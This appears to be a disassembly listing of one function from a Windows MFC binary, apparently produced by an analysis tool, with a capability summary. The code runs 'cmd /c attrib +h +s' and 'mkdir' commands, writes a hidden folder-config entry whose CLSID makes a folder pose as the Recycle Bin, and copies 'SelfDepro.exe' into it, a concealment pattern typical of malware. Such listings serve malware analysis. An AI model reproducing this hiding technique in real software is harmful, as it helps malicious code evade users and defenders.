Function at 0x406740
Capabilities:
Access peb ldr_data
Copy file
Get ntdll base address
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4546f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9c
push ebx
push esi
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x44]
mov dword [esp + 0xac], 0
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x2c]
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x34]
mov byte [esp + 0xac], 2
call sub.MFC42.DLL_CString::CString_2
push 0x4655ac
lea eax, [esp + 0xc]
push 0x4692a4
push eax
mov byte [esp + 0xb8], 3
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x1c]
mov byte [esp + 0xb0], 4
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0xc]
mov byte [esp + 0xac], 5
call sub.MFC42.DLL_CString::CString_2
push 0x465358
lea ecx, [esp + 0x10]
mov byte [esp + 0xb0], 6
call fcn.004149ce
lea ecx, [esp + 0x18]
push ecx
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::operator_1
push 0x465358
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::operator
lea edx, [esp + 0xc]
lea eax, [esp + 8]
push edx
push str.cmd__c_attrib_h_s
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0xb0], 7
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 6
call sub.MFC42.DLL_CString::CString
push ecx
lea edx, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0xc], esp
push edx
call sub.MFC42.DLL_CString::CString_1
call fcn.00412a80
add esp, 4
lea eax, [esp + 0x18]
lea ecx, [esp + 0x38]
push eax
call sub.MFC42.DLL_CString::CString_1
push str._nul_
lea ecx, [esp + 0x3c]
mov byte [esp + 0xb0], 8
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x14]
mov byte [esp + 0xac], 9
call sub.MFC42.DLL_CString::CString_2
push str.cmd__c_mkdir
lea ecx, [esp + 0x2c]
mov byte [esp + 0xb0], 0xa
call fcn.004149ce
lea ecx, [esp + 0x38]
push ecx
lea ecx, [esp + 0x18]
call fcn.004149b6
lea edx, [esp + 0x14]
lea eax, [esp + 8]
push edx
push 0x465358
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0xb0], 0xb
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0xa
call sub.MFC42.DLL_CString::CString
push 0x465358
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::operator
lea ecx, [esp + 0x14]
push ecx
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::operator_1
push ecx
lea edx, [esp + 0x2c]
mov ecx, esp
mov dword [esp + 0xc], esp
push edx
call sub.MFC42.DLL_CString::CString_1
call fcn.00412a80
add esp, 4
lea eax, [esp + 0x18]
lea ecx, [esp + 0x10]
push eax
call sub.MFC42.DLL_CString::CString_1
lea ecx, [esp + 0x10]
mov byte [esp + 0xac], 0xc
push ecx
lea ecx, [esp + 0x48]
call fcn.004149b6
mov eax, dword [0x469268]
test eax, eax
je 0x406979
push 0x46908c
jmp 0x40697e
push 0x469088
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x1c]
mov byte [esp + 0xac], 0xd
call sub.MFC42.DLL_CString::CString_2
push str.cmd__c_mkdir
lea ecx, [esp + 0x34]
mov byte [esp + 0xb0], 0xe
call fcn.004149ce
lea edx, [esp + 0x10]
lea ecx, [esp + 0x1c]
push edx
call fcn.004149b6
lea eax, [esp + 0x1c]
lea ecx, [esp + 8]
push eax
push 0x465358
push ecx
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x20]
mov byte [esp + 0xb0], 0xf
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0xe
call sub.MFC42.DLL_CString::CString
push 0x465358
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::operator
lea edx, [esp + 0x1c]
lea ecx, [esp + 0x30]
push edx
call sub.MFC42.DLL_CString::operator_1
push ecx
lea eax, [esp + 0x34]
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
call sub.MFC42.DLL_CString::CString_1
call fcn.00412a80
add esp, 4
lea ecx, [esp + 0x10]
lea edx, [esp + 8]
push str.dogtmpdir
push ecx
push edx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0xb0], 0x10
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0xe
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0xc]
lea ecx, [esp + 8]
push eax
push 0x465358
push ecx
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0xb0], 0x11
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0xe
call sub.MFC42.DLL_CString::CString
push 0x465358
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::operator
push str.cmd__c_mkdir
lea ecx, [esp + 0x24]
call fcn.004149ce
lea edx, [esp + 0xc]
push edx
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::operator_1
push ecx
lea eax, [esp + 0x24]
mov ecx, esp
mov dword [esp + 0xc], esp
push eax
call sub.MFC42.DLL_CString::CString_1
call fcn.00412a80
add esp, 4
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::CString_2
mov eax, dword [0x469268]
mov byte [esp + 0xac], 0x12
test eax, eax
jne 0x406b35
lea ecx, [esp + 0x10]
push str.dogtmpdir
lea edx, [esp + 0xc]
push ecx
push edx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xb0], 0x13
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0x12
call sub.MFC42.DLL_CString::CString
jmp 0x406b7a
lea eax, [esp + 0x44]
push 0x46908c
lea ecx, [esp + 0xc]
push eax
push ecx
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0xb0], 0x14
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], 0x12
call sub.MFC42.DLL_CString::CString
push 0x465768
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::operator
push ecx
lea edx, [esp + 0x28]
mov ecx, esp
mov dword [esp + 0xc], esp
push edx
call sub.MFC42.DLL_CString::CString_1
push ecx
mov byte [esp + 0xb4], 0x15
mov ecx, esp
mov dword [esp + 0x50], esp
push 0x4692a4
call sub.MFC42.DLL_CString::CString_1
mov byte [esp + 0xb4], 0x12
call fcn.004134f0
add esp, 8
lea ecx, [esp + 0x3c]
mov esi, eax
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x40]
mov byte [esp + 0xac], 0x16
call sub.MFC42.DLL_CString::CString_2
push str.SelfDepro.exe
lea eax, [esp + 0xc]
mov bl, 0x17
push 0x46925c
push eax
mov byte [esp + 0xb8], bl
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0xb0], 0x18
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], bl
call sub.MFC42.DLL_CString::CString
push 0x46574c
lea ecx, [esp + 0xc]
push 0x4692a4
push ecx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0xb0], 0x19
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], bl
call sub.MFC42.DLL_CString::CString
test esi, esi
je 0x406e41
push str.CLSID
lea ecx, [esp + 0x38]
call fcn.004149ce
lea edx, [esp + 0x18]
push 0x4653b4
lea eax, [esp + 0xc]
push edx
push eax
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x30]
mov byte [esp + 0xb0], 0x1a
call fcn.004149b6
lea ecx, [esp + 8]
mov byte [esp + 0xac], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [sym.imp.MSVCIRT.dll_int_const_filebuf::openprot]
mov eax, dword [esp + 0x2c]
push 1
mov edx, dword [ecx]
lea ecx, [esp + 0x50]
push edx
push 2
push eax
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::constructor_char_const___int__int_]
push str.645FF040_5081_101B_9F08_00AA002F954E
lea ecx, [esp + 0x38]
mov byte [esp + 0xb0], 0x1b
call sub.MFC42.DLL_CString::operator
mov esi, dword [sym.imp.MSVCIRT.dll_public:_class_ostream____thiscall_ostream::operator___char_const__]
push str._.ShellClassInfo__n
lea ecx, [esp + 0x50]
call esi
mov ecx, dword [esp + 0x34]
push ecx
lea ecx, [esp + 0x50]
call esi
lea ecx, [esp + 0x4c]
call dword [sym.imp.MSVCIRT.dll_public:_void___thiscall_ofstream::close_void_]
mov edx, dword [esp + 0x2c]
push 1
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0x40]
mov ecx, dword [esp + 0x3c]
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea ecx, [esp + 0x54]
mov byte [esp + 0xac], bl
call dword [sym.imp.MSVCIRT.dll_public_virtual:_void___thiscall_ofstream::destructor_void_]
lea ecx, [esp + 0x54]
call dword [sym.imp.MSVCIRT.dll_public_virtual:_void___thiscall_ios::destructor_void_]
lea ecx, [esp + 0x40]
mov byte [esp + 0xac], 0x16
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3c]
mov byte [esp + 0xac], 0x12
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0xac], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0xac], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0xac], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0xac], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0xac], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xac], 8
call sub.MFC42.DLL_CString::CString
mov byte [esp + 0xac], 6
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0xac], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xac], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0xac], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0xac], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0xac], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, 1
mov ecx, dword [esp + 0xa4]
mov dword fs:[0], ecx
pop esi
pop ebx
add esp, 0xa8
ret
lea ecx, [esp + 0x40]
mov byte [esp + 0xac], 0x16
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x3c]
mov byte [esp + 0xac], 0x12
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0xac], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0xac], 0xd
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0xac], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov byte [esp + 0xac], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0xac], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0xac], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x38]
mov byte [esp + 0xac], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0xac], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0xac], 3
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0xac], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0xac], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x44]
mov byte [esp + 0xac], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov dword [esp + 0xac], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0xa4]
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0xa8
ret